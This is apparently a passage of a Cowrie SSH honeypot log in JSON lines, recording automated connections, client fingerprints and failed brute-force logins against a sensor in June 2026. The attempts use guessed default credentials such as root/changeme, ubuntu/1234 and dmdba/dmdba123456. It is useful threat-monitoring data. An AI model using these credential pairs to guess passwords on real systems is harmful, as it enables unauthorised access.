{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:47.774893Z","src_ip":"91.92.40.171","session":"82b40a83d6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:48.889879Z","src_ip":"91.92.40.171","session":"dbe74e96b510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50326,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7edb5cf54dc","protocol":"ssh","message":"New connection: 91.92.42.133:50326 (159.203.135.109:22) [session: e7edb5cf54dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:49.361625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:49.512613Z","src_ip":"91.92.42.133","session":"e7edb5cf54dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:49.515786Z","src_ip":"91.92.42.133","session":"e7edb5cf54dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:50.727236Z","src_ip":"91.92.42.133","session":"e7edb5cf54dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":40504,"dst_ip":"159.203.135.109","dst_port":22,"session":"0020ad3b8091","protocol":"ssh","message":"New connection: 91.92.40.171:40504 (159.203.135.109:22) [session: 0020ad3b8091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:50.883209Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:50.889973Z","src_ip":"91.92.40.171","session":"82b40a83d6bb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:50.910138Z","src_ip":"91.92.40.171","session":"0020ad3b8091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:51.009905Z","src_ip":"91.92.40.171","session":"0020ad3b8091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:51.437335Z","src_ip":"91.92.40.171","session":"0020ad3b8091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:51.834636Z","src_ip":"91.92.42.133","session":"e7edb5cf54dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:52.555785Z","src_ip":"91.92.40.171","session":"0020ad3b8091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:52.777735Z","src_ip":"91.92.40.171","session":"82b40a83d6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55420,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf1c62ff78e","protocol":"ssh","message":"New connection: 91.92.42.133:55420 (159.203.135.109:22) [session: faf1c62ff78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:57.174102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:57.220952Z","src_ip":"91.92.42.133","session":"faf1c62ff78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:57.576086Z","src_ip":"91.92.42.133","session":"faf1c62ff78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46252,"dst_ip":"159.203.135.109","dst_port":22,"session":"0614f599bc4b","protocol":"ssh","message":"New connection: 91.92.40.171:46252 (159.203.135.109:22) [session: 0614f599bc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:57.814380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:57.900611Z","src_ip":"91.92.40.171","session":"0614f599bc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:58.347083Z","src_ip":"91.92.42.133","session":"faf1c62ff78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:58.736548Z","src_ip":"91.92.40.171","session":"0614f599bc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:59.523165Z","src_ip":"91.92.42.133","session":"faf1c62ff78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46282,"dst_ip":"159.203.135.109","dst_port":22,"session":"5117c1106d91","protocol":"ssh","message":"New connection: 91.92.40.171:46282 (159.203.135.109:22) [session: 5117c1106d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:02.307604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:02.719552Z","src_ip":"91.92.40.171","session":"5117c1106d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:02.725056Z","src_ip":"91.92.40.171","session":"5117c1106d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:03.700786Z","src_ip":"91.92.40.171","session":"5117c1106d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fe097f73346","protocol":"ssh","message":"New connection: 91.92.42.133:55486 (159.203.135.109:22) [session: 1fe097f73346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:04.292334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:04.631863Z","src_ip":"91.92.42.133","session":"1fe097f73346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:04.635094Z","src_ip":"91.92.42.133","session":"1fe097f73346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:04.843988Z","src_ip":"91.92.40.171","session":"5117c1106d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:05.818764Z","src_ip":"91.92.42.133","session":"1fe097f73346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:06.500626Z","src_ip":"91.92.40.171","session":"0614f599bc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:07.278003Z","src_ip":"91.92.42.133","session":"1fe097f73346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:08.131029Z","src_ip":"91.92.40.171","session":"0614f599bc4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48592,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf5d94bd7dbb","protocol":"ssh","message":"New connection: 91.92.40.171:48592 (159.203.135.109:22) [session: bf5d94bd7dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:08.267272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:08.280868Z","src_ip":"91.92.40.171","session":"bf5d94bd7dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:08.350894Z","src_ip":"91.92.40.171","session":"bf5d94bd7dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:08.723037Z","src_ip":"91.92.40.171","session":"bf5d94bd7dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:09.845588Z","src_ip":"91.92.40.171","session":"bf5d94bd7dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44736,"dst_ip":"159.203.135.109","dst_port":22,"session":"667a85dfb77d","protocol":"ssh","message":"New connection: 27.71.230.31:44736 (159.203.135.109:22) [session: 667a85dfb77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:10.683438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:10.724126Z","src_ip":"27.71.230.31","session":"667a85dfb77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39350,"dst_ip":"159.203.135.109","dst_port":22,"session":"03aa989a05eb","protocol":"ssh","message":"New connection: 91.92.42.133:39350 (159.203.135.109:22) [session: 03aa989a05eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:11.848824Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ec